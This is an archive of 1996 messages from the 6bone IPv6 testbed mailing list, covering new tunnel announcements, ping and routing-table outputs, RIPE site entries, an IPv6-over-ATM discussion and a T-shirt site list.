  TU-BS
DK
  DENET
    UAALBORG
    UAARHUS
    UNI-C DTH
    UNI-C KBH
    UODENSE
  TELEBIT
=46R
  G6
    EUDIL
    ENSTB
    INRIA
    IMAG
    SB-ROSCOFF
    UPOITIER
    UREC
    USTRASBOURG
IT
  POLITO
JP
  KEK
  SUMITOMO
  WIDE
    HITACHI
    JAIST
    KEIOU
    NAIST
    NTT
    OSAKAU
    SONY
    SONY-CSL
    UTOKYO
KR
  KAIST
KZ
  KIT
NL
   RIPE-NCC
PT
  UL
SE
  ERA
  KTH
  SICS
SG
  NUS-IRDU
UK
  IFB
  LUT
  TICL
  UCAM-T
  UCL
  UMAN
US
  ATT
  BAY
  CAIRN
  CISCO
  DIGITAL
  ESNET
  FNAL
  FTP-SW
  IBM
  INNER
  KOHALA
  LBNL
  MERIT
  NASA-GSFC
  NASA-NAS
  NETGOD
  NETLAG
  NIST
  NRL
  PARC
  RUTGERS
  SCO
  SUMITOMO
  SUN
  UCLA
  UNH
  UO
  USC-ISI
  WWU
-



From majordom@ISI.EDU  Thu Nov  7 23:42:15 1996
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Date: Fri, 8 Nov 1996 07:42:15 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 6bone map change
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

6bone Diagram Version 34:

	New site KAIST/KR with tunnels to CISCO/US and NRL/US

	New site POLITO/IT with a tunnel to DIGITAL-CA/US

Welcome to KAIST Korea and POLITO Italy!  We are beoming very international :-)


KAIST/KR needs a RIPE entry, but I chose not to wait for it as I will be
out of town all next week.

I will see email, but won't try any map updates till 18 Nov.


Thanks,

Bob

==================
To: rlfink@lbl.gov
Cc: Stephen Stuart <stuart@pa.dec.com>, 6bone@isi.edu
Subject: New 6bone tunnel
Date: Thu, 07 Nov 96 15:58:00 -0800
From: Stephen Stuart <stuart@pa.dec.com>
X-Mts: smtp

Bob,

I've updated the DIGITAL-CA entry at RIPE to show the new tunnel to
Politecnico di Torino (POLITO). We exchange routing information with
them via RIPng. Could you please update the map?

% ping6 -c 10 ipv6gw-v4.polito.it
PING ipv6gw-v4.polito.it (130.192.14.189): 56 data bytes
64 bytes from 130.192.14.189: icmp_seq=0 ttl=42 time=298 ms
64 bytes from 130.192.14.189: icmp_seq=1 ttl=42 time=275 ms
64 bytes from 130.192.14.189: icmp_seq=2 ttl=42 time=382 ms
64 bytes from 130.192.14.189: icmp_seq=3 ttl=42 time=412 ms
64 bytes from 130.192.14.189: icmp_seq=4 ttl=42 time=288 ms
64 bytes from 130.192.14.189: icmp_seq=5 ttl=42 time=303 ms
64 bytes from 130.192.14.189: icmp_seq=6 ttl=42 time=414 ms
64 bytes from 130.192.14.189: icmp_seq=7 ttl=42 time=450 ms
64 bytes from 130.192.14.189: icmp_seq=8 ttl=42 time=349 ms
64 bytes from 130.192.14.189: icmp_seq=9 ttl=42 time=323 ms

----ipv6gw-v4.polito.it PING Statistics----
10 packets transmitted, 10 packets received, 0% packet loss
round-trip (ms)  min/avg/max = 275/349/450 ms

Everyone,

Will sites carrying full routing please add the appropriate routing
table entries?

Thanks to all,
Stephen
===============================================
From: Woohyong Choi <whchoi@cosmos.kaist.ac.kr>
Subject: Tunnel Request from KAIST to NRL
To: ronald.d.lee@nrl.navy.mil
Date: Thu, 7 Nov 1996 22:06:35 +0900 (KST)
Cc: 6bone@isi.edu
Mime-Version: 1.0
Sender: owner-6bone@ISI.EDU
Precedence: bulk

We're setting up an IPv6 cloud of two machines here in KAIST, Korea.
One is a Sparc machine running NetBSD1.1(with INRIA IPv6 code),
and the other is planned to run Solaris IPv6 soon.

The IPv6 address for KAIST node is

6bone-gw.ipv6.kaist.ac.kr [TBD; DNS is not yet operational yet]
5f06:f500:8ff8:b900::0800:2007:4749 (5f06:f500:8ff8:b900::/64 prefix)
143.248.185.22 (AS1781)

contact point - ipv6-ops@cosmos.kaist.ac.kr

From the ping statistics from my local machine, I believe NRL will
Status: RO

better serve as my parent for IPv6 tunnel.

Ronald, could you please add a tunnel entry in your router and tell
me RIPE IP6RR ftp group username/password? (132.250.90.5 143.248.185.22
KAIST)

Thanks,
-whchoi


Cisco
----192.31.7.41 PING Statistics----
137 packets transmitted, 109 packets received, 20% packet loss
round-trip (ms)  min/avg/max = 334/417/489

NRL
----132.250.90.5 PING Statistics----
134 packets transmitted, 125 packets received, 6% packet loss
round-trip (ms)  min/avg/max = 458/549/725
===




From majordom@ISI.EDU  Fri Nov  8 04:01:32 1996
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Date: Fri, 8 Nov 1996 12:01:32 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 6bone Tshirt ordering
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

I have been asked several times about when to order, how to pay, etc.

Many of you have already sent me size and qty (and sometimes mailing
address) information.  Early next week I will compile these orders into a
list to play back so people know they have an order on record, and I will
give a few days to adjust the orders.

Meanwhile, those of you who have not sent an order yet should do so now.
Just let me know qty and size and where to mail them if you won't be in San
Jose to pick them up.


I will only be able to take cash or checks (NO credit cards).  I still
expect the price to be $10 or less per Tshirt.


Thanks,

Bob



From majordom@ISI.EDU  Fri Nov  8 09:08:05 1996
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Date: Fri, 8 Nov 1996 17:08:05 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Final 6bone Tshirt site/country list
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

Final list of sites for the Tshirt follows.


Thanks,

Bob
=========
AT
  COSY
CA
  ESYS
CH
  ETHZ
DE
  DETEBERKOM
  FAUERN
  JOGUNET
  JOIN
  TU-BS
DK
  DENET
    UAALBORG
    UAARHUS
    UNI-C DTH
    UNI-C KBH
    UODENSE
  TELEBIT
FR
  G6
    EUDIL
    ENSTB
    INRIA
    IMAG
    SB-ROSCOFF
    UPOITIER
    UREC
    USTRASBOURG
IT
  POLITO
JP
  KEK
  SUMITOMO
  WIDE
    HITACHI
    JAIST
    KEIOU
    NAIST
    NTT
    OSAKAU
    SONY
    SONY-CSL
    UTOKYO
KR
  KAIST
KZ
  KIT
NL
   RIPE-NCC
PT
  UL
SE
  ERA
  KTH
  SICS
SG
  NUS-IRDU
UK
  IFB
  LUT
  TICL
  UCAM-T
  UCL
  UMAN
US
  ATT
  BAY
  CAIRN
  CISCO
  DIGITAL
  ESNET
  FNAL
  FTP-SW
  IBM
  IBS-US
  INNER
  KOHALA
  LBNL
  MERIT
  NASA-GSFC
  NASA-NAS
  NETGOD
  NETLAG
  NIST
  NRL
  PARC
  RUTGERS
  SCO
  SUMITOMO
  SUN
  UCLA
  UNH
  UO
  USC-ISI
  WWU
-



From majordom@ISI.EDU  Fri Nov  8 09:08:05 1996
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Date: Fri, 8 Nov 1996 17:08:05 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Final 6bone Tshirt site/country list
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

Final list of sites for the Tshirt follows.


Thanks,

Bob
=========
AT
  COSY
CA
  ESYS
CH
  ETHZ
DE
  DETEBERKOM
  FAUERN
  JOGUNET
  JOIN
  TU-BS
DK
  DENET
    UAALBORG
    UAARHUS
    UNI-C DTH
    UNI-C KBH
    UODENSE
  TELEBIT
FR
  G6
    EUDIL
    ENSTB
    INRIA
    IMAG
    SB-ROSCOFF
    UPOITIER
    UREC
    USTRASBOURG
IT
  POLITO
JP
  KEK
  SUMITOMO
  WIDE
    HITACHI
    JAIST
    KEIOU
    NAIST
    NTT
    OSAKAU
    SONY
    SONY-CSL
    UTOKYO
KR
  KAIST
KZ
  KIT
NL
   RIPE-NCC
PT
  UL
SE
  ERA
  KTH
  SICS
SG
  NUS-IRDU
UK
  IFB
  LUT
  TICL
  UCAM-T
  UCL
  UMAN
US
  ATT
  BAY
  CAIRN
  CISCO
  DIGITAL
  ESNET
  FNAL
  FTP-SW
  IBM
  IBS-US
  INNER
  KOHALA
  LBNL
  MERIT
  NASA-GSFC
  NASA-NAS
  NETGOD
  NETLAG
  NIST
  NRL
  PARC
  RUTGERS
  SCO
  SUMITOMO
  SUN
  UCLA
  UNH
  UO
  USC-ISI
  WWU
-



From majordom@ISI.EDU  Fri Nov  8 12:03:36 1996
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Date: Fri, 8 Nov 1996 20:03:36 -0800 (PST)
From: Jim Martin <jim@interop.net>
To: 6bone@isi.edu
Subject: Connection Request 
Message-Id: <Pine.SUN.3.91.961108200316.25833S-100000@lanshark.sv.interop.net>
Mime-Version: 1.0
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Folks,
	I'm looking for a 6Bone connection to Interop's testing and 
hotstaging facility in the San Francisco Bay area. We're currently hung 
off of Barrnet. The idea for us is to have a testbed to play with v6 
interoperability before we try to do any real deployment in the 
InteropNet networks next year at the Interop shows. I'm running release 5 
of the Solaris port on core.hstf.interop.net (199.45.11.20), and if I 
didn't blow any of my math, my RFC1897 testing address is 
5f:00:fd:00:c7:2d:0b:00:2d:0b:08:00:20:19:d1:91. Anyone in a position to 
help me out? Thanks!
							Jim

P.S. Any chance this will be in time to make the T-shirt? :)

	Jim Martin			Internet: jim@interop.net
	Network Engineering		Fax: (408) 541-4121 
	Softbank Expos			Phone: (415) 372-6750



From majordom@ISI.EDU  Fri Nov  8 22:23:14 1996
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To: Bob Fink LBNL <RLFink@lbl.gov>
Cc: 6bone@isi.edu (6BONE Mailer)
In-Reply-To: RLFink's message of Fri, 08 Nov 96 07:08:59 PST.
      <v0300780faea7f85383ea@[128.3.9.22]> 
Dont-Reply-To: itojun@itojun.csl.sony.co.jp
Dont-Return-Receipt-To: itojun@csl.sony.co.jp
X-Pgp-Fingerprint: F8 24 B4 2C 8C 98 57 FD  90 5F B4 60 79 54 16 E2
Subject: Re: Tshirt site list as of 8 Nov 96 0700 PDT 
Date: Sat, 09 Nov 1996 15:23:03 +0900
Message-Id: <1831.847520583@itojun.csl.sony.co.jp>
From: Jun-ichiro Itoh <itojun@csl.sony.co.jp>
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>Current list of sites for the Tshirt follows.  Think I've caught up with all
>the requests for being on the Tshirt.
>I will close this list off as of 1700 PDT today.
>As an aside, this is now 16 countries, and over 75 sites.

>JP
>  WIDE
>    HITACHI
>    JAIST
>    KEIOU		<-
>    NAIST
>    NTT
>    OSAKAU		<-
>    SONY
>    SONY-CSL
>    UTOKYO		<-

	I think they should be:
		KEIO
		OSAKA-U
		U-TOKYO
	Could you please change them for us?  thanks,

itojun, one of wide IPv6 team

From majordom@ISI.EDU  Fri Nov  8 16:25:38 1996
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To: Jim Martin <jim@interop.net>
Cc: 6bone@isi.edu, stuart@pa.dec.com
Subject: Re: Connection Request 
In-Reply-To: Your message of Fri, 08 Nov 96 20:03:36 -0800.
             <Pine.SUN.3.91.961108200316.25833S-100000@lanshark.sv.interop.net> 
Date: Sat, 09 Nov 96 00:25:38 -0800
From: Stephen Stuart <stuart@pa.dec.com>
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Status: RO

I added a static tunnel from Palo Alto to you (you didn't mention your
prefix length, so I assumed 64; 5F00:FD00:C72D:0B00::0/64). If you'd
prefer a RIPng tunnel, let me know.

You should add a tunnel back to prefix 5f00:2100:cc7b:0000::/64 at
IPv4 address 204.123.2.236 (feel free to point default at us as well).

Ping altavista.ipv6.digital.com to test.

Stephen
- -----
Stephen Stuart				stuart@pa.dec.com
Network Systems Laboratory
Digital Equipment Corporation

From majordom@ISI.EDU  Sat Nov  9 04:47:51 1996
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	id AA10777; Sat, 9 Nov 1996 09:47:51 -0500
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To: dhaskin@baynetworks.com (Dimitry Haskin)
Cc: 6bone@ISI.EDU, bound@zk3.dec.com
Subject: Re: IPv6 on ATM 
In-Reply-To: Your message of "Thu, 07 Nov 96 17:49:59 EST."
             <199611072249.RAA06740@pobox.BayNetworks.com> 
Date: Sat, 09 Nov 96 09:47:51 -0500
X-Mts: smtp
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Status: RO

Dimitry,

>And what will we do for FR, X-25, etc.?  Provide yet separate solutions?! :(

I don't want that either. This will come up at ION but I don't have a
problem with this discussion here it seems friendly and worthwhile.

I just don't want:

  1.  NHRP for IPv6 address processing I want to use the mechanisms
      I have built for ND, Addrconf, DHCPv6.

  2.  The Internet Layer to change built for IPv6 as an abstraction.

Now I believe that Armitage/Schulter/Harter/Jork can do the above and
for all NBMA links.  I also think they do not have an issue with
cutthrough using NHRP off link.

I am just speaking about a link OK.  Not the cloud or communications
between partitions.  

But I do think the folks above can build a link VPN with their approach
and get multicast to work over NBMA too.

/jim

From majordom@ISI.EDU  Sat Nov  9 13:20:46 1996
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Date: Sat, 9 Nov 1996 21:20:46 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Final Final 6bone Tshirt site/country list :-)
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

Made some WIDE/JP corrections and also added INTEROP as they just came up.

Thanks,

Bob
=========
AT
  COSY
CA
  ESYS
CH
  ETHZ
DE
  DETEBERKOM
  FAUERN
  JOGUNET
  JOIN
  TU-BS
DK
  DENET
    UAALBORG
    UAARHUS
    UNI-C DTH
    UNI-C KBH
    UODENSE
  TELEBIT
FR
  G6
    EUDIL
    ENSTB
    INRIA
    IMAG
    SB-ROSCOFF
    UPOITIER
    UREC
    USTRASBOURG
IT
  POLITO
JP
  KEK
  SUMITOMO
  WIDE
    HITACHI
    JAIST
    KEIO
    NAIST
    NTT
    OSAKA-U
    SONY
    SONY-CSL
    U-TOKYO
KR
  KAIST
KZ
  KIT
NL
   RIPE-NCC
PT
  UL
SE
  ERA
  KTH
  SICS
SG
  NUS-IRDU
UK
  IFB
  LUT
  TICL
  UCAM-T
  UCL
  UMAN
US
  ATT
  BAY
  CAIRN
  CISCO
  DIGITAL
  ESNET
  FNAL
  FTP-SW
  IBM
  IBS-US
  INNER
  INTEROP
  KOHALA
  LBNL
  MERIT
  NASA-GSFC
  NASA-NAS
  NETGOD
  NETLAG
  NIST
  NRL
  PARC
  RUTGERS
  SCO
  SUMITOMO
  SUN
  UCLA
  UNH
  UO
  USC-ISI
  WWU
-



From majordom@ISI.EDU  Mon Nov 11 06:40:02 1996
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Date: Mon, 11 Nov 96 11:40:02 EST
From: "Matthew R. Ganis (914) 684-4575" <ganis@VNET.IBM.COM>
To: 6bone@isi.edu
Subject: multiple tunnels
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO


For those sites that have multiple tunnels up and running: how are you
doing your routing ?  For example, today I have a tunnel to NRL
and I'm routing (by default) all of 5f00::/8 to them.  But If I added
another tunnel I'd need to change my routing (which is fine).
Do I need to figure out my own static routes or can I run RIPng from
the other end of my tunnels ?
                                   thanks,
                                         Matt.




From majordom@ISI.EDU  Mon Nov 11 12:02:52 1996
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Message-Id: <3287F6EC.7635@centuryinter.net>
Date: Mon, 11 Nov 1996 20:02:52 -0800
From: "William J. Holscher" <wholscher@centuryinter.net>
Organization: Computing & Communication Service
X-Mailer: Mozilla 2.0 (Win16; I)
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To: 6bone@isi.edu
Subject: becoming an island
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I am currently managing a small ISP in Rockledge, Fl. The president of 
the company is interested in becoming an "island for ipv6". Could you 
send me the necessary info on how I might make this come about? Any help 
you could give me in this matter would be greatly appreciated.
			Thanks,
			Wm. Holscher Mngr.
			Computing & Communication Services, Inc.
			640 Eyster Blvd.
			Rockledge, Fl. 32955
			407-639-8100 voice
			407-639-0224 fax
			wholsch@ccsmall.com

From majordom@ISI.EDU  Tue Nov 12 14:47:29 1996
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Message-Id: <328871E1.33B1@tbit.dk>
Date: Tue, 12 Nov 1996 13:47:29 +0100
From: "Martin D. Peck" <mdp@tbit.dk>
X-Mailer: Mozilla 2.02 (Win95; I)
Mime-Version: 1.0
To: "Matthew R. Ganis (914) 684-4575" <ganis@VNET.IBM.COM>
Cc: 6bone@ISI.EDU
Subject: Re: multiple tunnels
References: <199611111641.AA06595@venera.isi.edu>
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Hi Matt,

Matthew R. Ganis (914) 684-4575 wrote:
> 
> For those sites that have multiple tunnels up and running: how are you
> doing your routing ?  For example, today I have a tunnel to NRL
> and I'm routing (by default) all of 5f00::/8 to them.  But If I added
> another tunnel I'd need to change my routing (which is fine).
> Do I need to figure out my own static routes or can I run RIPng from
> the other end of my tunnels ?
>                                    thanks,
>                                          Matt.

At present the 6Bone defaults to statically configured tunnels but the
use of RIPv6 is beginning between those tunnels that support it. We are
promoting the idea of using IDRP for IPv6 for exchanging routing
information which has the advantage of offering more effective
scaleability. The protocol is now running successfully on the 6Bone 
between UNI-C/JOIN/IFB/and TELEBIT (with NIST and others starting soon).

The routing table snap-shot shown below, taken from UNI-C's operational
IPv6 network shows some of the possible combinations for managing
multiple tunnels. 

5f00:3000::/32                          cphUNH       10 Static path
5f02:3000::/32                          cphUNH       10 Static path
5f04:fb00::/32                          cpherla       5 IDRP
5f04:fb00:80b0:0:bf42:c0:3302:14/128    cpherla       1 Configured Peer
5f05:2000::/32                          cphUNH       10 Static path
5f06:b500::/32                          cphG6        10 Static path
5f06:b500:8158:1a00:1:0:8158:1a01/128   cphG6         1 Configured Peer
5f06:d500::/32                          cphUNH       10 Static path
5f07:2b00:82e1:e700::/64                unveav6lan1 200 Configured Peer
5f09:c400::/32                          cphWIDE      10 Static path
5f09:c400:a3dd:b00:0:0:c0e3:665f/128    cphWIDE       1 Configured Peer
5f0b:1700::/32                          unicsics     10 Static path
5f0b:3700::/32                          cpherla      55 IDRP-EXT
5f0c:bf00::/32                          cphtelebit    5 IDRP
5f0c:bf00:c2b6:8700:fd:1111:1111:1111/12  cphtelebit  1 Configured Peer
5f0d:e900::/32                           cphUNH      10 Static path

Hope this helps,

Martin
TELEBIT COMMUNICATIONS A/S

From majordom@ISI.EDU  Mon Nov 11 23:51:19 1996
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Date: Tue, 12 Nov 1996 07:51:19 -0800
To: JOIN Project Team <join@uni-muenster.de>
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: new tunnel JOIN<->TU-Berlin
Cc: 6bone@ISI.EDU
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Guido,

At 6:07 AM -0800 11/12/96, JOIN Project Team wrote:
>Hello Bob,
>
>we have installed a new tunnel from JOIN-project to the Technical
>University of Berlin (TU-Berlin).

Will update the map next week when I'm back in town.  As you probably know,
you are already on the Tshirt.


Thanks,

Bob



From majordom@ISI.EDU  Tue Nov 12 18:33:19 1996
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	id <AA05199>; Tue, 12 Nov 1996 08:31:28 -0800
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	id <AA05151>; Tue, 12 Nov 1996 08:31:21 -0800
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	id <AA12065>; Tue, 12 Nov 1996 08:31:18 -0800
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Message-Id: <3288A6CF.3485@tbit.dk>
Date: Tue, 12 Nov 1996 17:33:19 +0100
From: "Martin D. Peck" <mdp@tbit.dk>
X-Mailer: Mozilla 2.02 (Win95; I)
Mime-Version: 1.0
To: Christer Bohm <bohm@it.kth.se>
Cc: 6bone@ISI.EDU
Subject: Re: IPv6 on ATM
References: <199611070932.KAA03964@piraya.electrum.kth.se>
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Christer,

Telebit has been working on an IPv6 over ATM SVC implementation for
UNI-C's IPv6 network following the Armitage style solution
(draft_armitage_ion_tn_00.txt), which is now available as a Beta 
version.

This implementation is aimed at gaining early development and
testing experience in advance of a more formal consensus. Both Unicast
and Multicast SVCs have been implemented. Multicast Neighbor Discovery
over ATM has also been implemented using MARS according to the draft 
RFC.

More generally, we have been running PVCs across the UNI-C network both 
transparently (ie native IPv6 without encapsulation) and using LLC+SNAP 
encapsulation as described in RFC 1483.

I hope this helps,

Martin
TELEBIT COMMUNICATIONS A/S

From majordom@ISI.EDU  Tue Nov 12 17:19:28 1996
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From: Jonathan Day <jcday@jpd.ch.man.ac.uk>
Message-Id: <199611121719.RAA11819@jpd.ch.man.ac.uk>
Subject: T-shirts, et al
To: 6bone@ISI.EDU
Date: Tue, 12 Nov 1996 17:19:28 +0000 (GMT)
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Hi

I'd like to put in a provisional order for a couple of the 6-bone T-Shirts.
If there's someone in the UK who's going to be buying them, then I'll
place the actual order through them. (The p&p is a little steep, otherwise,
but that's not going to cause a problem if it proves necessary.)

Jonathan


From majordom@ISI.EDU  Tue Nov 12 18:33:19 1996
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Message-Id: <3288A6CF.3485@tbit.dk>
Date: Tue, 12 Nov 1996 17:33:19 +0100
From: "Martin D. Peck" <mdp@tbit.dk>
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Mime-Version: 1.0
To: Christer Bohm <bohm@it.kth.se>
Cc: 6bone@ISI.EDU
Subject: Re: IPv6 on ATM
References: <199611070932.KAA03964@piraya.electrum.kth.se>
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Christer,

Telebit has been working on an IPv6 over ATM SVC implementation for
UNI-C's IPv6 network following the Armitage style solution
(draft_armitage_ion_tn_00.txt), which is now available as a Beta 
version.

This implementation is aimed at gaining early development and
testing experience in advance of a more formal consensus. Both Unicast
and Multicast SVCs have been implemented. Multicast Neighbor Discovery
over ATM has also been implemented using MARS according to the draft 
RFC.

More generally, we have been running PVCs across the UNI-C network both 
transparently (ie native IPv6 without encapsulation) and using LLC+SNAP 
encapsulation as described in RFC 1483.

I hope this helps,

Martin
TELEBIT COMMUNICATIONS A/S

From majordom@ISI.EDU  Mon Nov 11 23:51:19 1996
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	id <AA03634>; Tue, 12 Nov 1996 07:51:40 -0800
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 <Pine.SV4.3.95.961112150028.7591C-100000@SOLARIX1.UNI-MUENSTER.DE>
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Date: Tue, 12 Nov 1996 07:51:19 -0800
To: JOIN Project Team <join@uni-muenster.de>
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: new tunnel JOIN<->TU-Berlin
Cc: 6bone@ISI.EDU
Sender: owner-6bone@ISI.EDU
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Status: RO

Guido,

At 6:07 AM -0800 11/12/96, JOIN Project Team wrote:
>Hello Bob,
>
>we have installed a new tunnel from JOIN-project to the Technical
>University of Berlin (TU-Berlin).

Will update the map next week when I'm back in town.  As you probably know,
you are already on the Tshirt.


Thanks,

Bob



From majordom@ISI.EDU  Tue Nov 12 17:19:28 1996
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From: Jonathan Day <jcday@jpd.ch.man.ac.uk>
Message-Id: <199611121719.RAA11819@jpd.ch.man.ac.uk>
Subject: T-shirts, et al
To: 6bone@ISI.EDU
Date: Tue, 12 Nov 1996 17:19:28 +0000 (GMT)
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Hi

I'd like to put in a provisional order for a couple of the 6-bone T-Shirts.
If there's someone in the UK who's going to be buying them, then I'll
place the actual order through them. (The p&p is a little steep, otherwise,
but that's not going to cause a problem if it proves necessary.)

Jonathan


From majordom@ISI.EDU  Wed Nov 13 22:53:20 1996
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From: Mike Dransfield <Dransfield@mail.dec.com>
To: "'6bone@isi.edu'" <6bone@isi.edu>
Subject: New site DIGITAL-AU
Date: Wed, 13 Nov 1996 11:53:20 +1100
X-Mailer:  Microsoft Exchange Server Internet Mail Connector Version 4.0.994.63
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Hi,
I have a new site at Digital in Sydney, Australia with a tunnel to DIGITAL-CA
operational.

I have a nameserver running but am unsure how to get the reverse mapping
delegated as I am connected via Telstra Internet (formerly AARNet) with
a C-class ipv4 network.

I have a web server running but not yet tested.
details attached

thanks,
Mike Dransfield

site:		Digital Equipment Corporation Australia
location:	Sydney, Australia
loc-string:	33 53 s 151 10 e 10m
prefix:		5F04:C500:CB00:2C00::/80
ping:		riogrande.ipv6.digital.com.au (5F04:C500:CB00:2C00::800:2B3A:5FE1:)
tunnel:		203.0.44.12 204.123.2.236 DIGITAL-CA
contact:	mike@stl.dec.com
status:		operational
remark:		Digital UNIX IPv6
remark:		IPV6 webserver http://www.ipv6.digital.com.au:81/
changed:	mike@stl.dec.com 19961113
source:		RIPE


From majordom@ISI.EDU  Wed Nov 13 14:23:43 1996
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To: Jonathan Day <jcday@jpd.ch.man.ac.uk>
Cc: 6bone@isi.edu
Subject: Re: T-shirts, et al 
X-Uri: <URL:http://www.net.lut.ac.uk/~martin>
In-Reply-To: Your message of "Tue, 12 Nov 1996 17:19:28 GMT."
             <199611121719.RAA11819@jpd.ch.man.ac.uk> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Wed, 13 Nov 1996 14:23:43 +0000
From: Martin Hamilton <martin@mrrl.lut.ac.uk>
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Jonathan Day writes:

| I'd like to put in a provisional order for a couple of the 6-bone T-Shirts.
| If there's someone in the UK who's going to be buying them, then I'll
| place the actual order through them. (The p&p is a little steep, otherwise,
| but that's not going to cause a problem if it proves necessary.)

I'm going to be in San Jose, so I could pick a few up for UK people

Cheerio,

Martin



From majordom@ISI.EDU  Thu Nov 14 05:48:23 1996
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To: RLFink@lbl.gov
Subject: new tunnels
Cc: 6bone@ISI.EDU
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO


Hi,

I've update Bay's RIPE database entry with new tunnels:

1)  BAY <-> WIDE,  Static Routing

qadams[1]>ping -ip6 5f09:c400:a3dd:0800::1 -v -r5
16 bytes from (5F09:C400:A3DD:0800::0001) via If 10: icmp_seq=0, time= 324 ms
16 bytes from (5F09:C400:A3DD:0800::0001) via If 10: icmp_seq=1, time= 324 ms
16 bytes from (5F09:C400:A3DD:0800::0001) via If 10: icmp_seq=2, time= 300 ms
16 bytes from (5F09:C400:A3DD:0800::0001) via If 10: icmp_seq=3, time= 328 ms
16 bytes from (5F09:C400:A3DD:0800::0001) via If 10: icmp_seq=4, time= 300 ms


---- IPV6 PING Statistics----
IPV6 ping: [5F09:C400:A3DD:0800::0001] responded to 5 out of 5: 100% success.
round-trip (ms) min/avg/max = 300/315/328


2)  BAY <-> SUMITOMO/JP, RIPng Routing

qadams[1]>ping -ip6 5f09:c100:8599::5fec:44cc -r5 -v
16 bytes from (5F09:C100:8599::5FEC:44CC) via If 11: icmp_seq=0, time= 281 ms
16 bytes from (5F09:C100:8599::5FEC:44CC) via If 11: icmp_seq=1, time= 289 ms
16 bytes from (5F09:C100:8599::5FEC:44CC) via If 11: icmp_seq=2, time= 289 ms
16 bytes from (5F09:C100:8599::5FEC:44CC) via If 11: icmp_seq=3, time= 289 ms
16 bytes from (5F09:C100:8599::5FEC:44CC) via If 11: icmp_seq=4, time= 285 ms


---- IPV6 PING Statistics----
IPV6 ping: [5F09:C100:8599::5FEC:44CC] responded to 5 out of 5: 100% success.
round-trip (ms) min/avg/max = 281/286/289


3)  BAY <-> DIGITAL-CA, RIPng Routing

qadams[1]>ping -ip6 5F00:2100:CC7B:0000:0012:0800:2BE4:B5CC -r5 -v
16 bytes from (5F00:2100:CC7B:0000:0012:0800:2BE4:B5CC) via If 7: icmp_seq=0, time= 171 ms
16 bytes from (5F00:2100:CC7B:0000:0012:0800:2BE4:B5CC) via If 7: icmp_seq=1, time= 144 ms
16 bytes from (5F00:2100:CC7B:0000:0012:0800:2BE4:B5CC) via If 7: icmp_seq=2, time= 464 ms
16 bytes from (5F00:2100:CC7B:0000:0012:0800:2BE4:B5CC) via If 7: icmp_seq=3, time= 160 ms
16 bytes from (5F00:2100:CC7B:0000:0012:0800:2BE4:B5CC) via If 7: icmp_seq=4, time= 144 ms


---- IPV6 PING Statistics----
IPV6 ping: [5F00:2100:CC7B:0000:0012:0800:2BE4:B5CC] responded to 5 out of 5: 100% success.
round-trip (ms) min/avg/max = 144/216/464


Dimitry

From majordom@ISI.EDU  Thu Nov 14 06:19:38 1996
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Subject: New tunnel:  NRL<->RADYN
To: 6bone@isi.edu
Date: Thu, 14 Nov 1996 11:19:38 -0500 (EST)
From: Ronald Lee <ronlee@CS.NRL.NAVY.MIL>
Cc: wmk@radyn.com
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A new tunnel was established with Radio Dynanics Corp (RADYN) in
Silver Spring, Maryland (MD), USA  and NRL.


The site manager will be updating their RIPE entry, but here's the
basics for full routing table sites and online status:


-------------------------------------------------------------------------------
v4 tunnel endpoint:     128.8.126.86
Prefix:                 5f00:1b00:8008:7e66::0/64
v6 tunnel endpoint:     5f00:1b00:8008:7e66::c090:25d5

-------------------------------------------------------------------------------
PING radyn-ping (5f00:1b00:8008:7e66::c090:25d5): 56 data bytes
64 bytes from 5f00:1b00:8008:7e66::c090:25d5: icmp_seq=0 ttl=255 time=64.138 ms
64 bytes from 5f00:1b00:8008:7e66::c090:25d5: icmp_seq=1 ttl=255 time=17.361 ms
64 bytes from 5f00:1b00:8008:7e66::c090:25d5: icmp_seq=2 ttl=255 time=16.516 ms
--- radyn-ping ping statistics ---
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 16.516/32.671/64.138 ms
-------------------------------------------------------------------------------


Thanks,
Ron Lee
NRL

From majordom@ISI.EDU  Thu Nov 14 07:26:41 1996
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Date: Thu, 14 Nov 1996 12:26:41 -0500
From: "William M. Kules" <wmk@radyn.com>
Message-Id: <199611141726.MAA16967@gauss.radyn.com>
To: 6bone@isi.edu, ronlee@CS.NRL.NAVY.MIL
Subject: Re: New tunnel:  NRL<->RADYN
Cc: brabec@umiacs.cs.umd.edu, wmk@gauss.radyn.com, wmk@gauss.radyn.com
Sender: owner-6bone@ISI.EDU
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Ron Lee wrote:

> A new tunnel was established with Radio Dynanics Corp (RADYN) in
> Silver Spring, Maryland (MD), USA  and NRL.
> 
> 
> The site manager will be updating their RIPE entry, but here's the
> basics for full routing table sites and online status:
> 
> 
> -------------------------------------------------------------------------------
> v4 tunnel endpoint:     128.8.126.86
> Prefix:                 5f00:1b00:8008:7e66::0/64
> v6 tunnel endpoint:     5f00:1b00:8008:7e66::c090:25d5

Sorry for the confusion.  The tunnel goes to the University of
Maryland, College Park, Computer Science Department.  (I work
for Radio Dynamics -- but I'll work on that one, too :-) ).

Bill Kules



From majordom@ISI.EDU  Thu Nov 14 02:08:31 1996
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Date: Thu, 14 Nov 1996 10:08:31 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 6bone Tshirt order list - must reply by cob 18 Nov 96
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

6bone Folk:

I have compiled the list of 6bone Tshirt orders below.  The format is shown
below, and I have inserted ? whenever in doubt of your intentions.  My
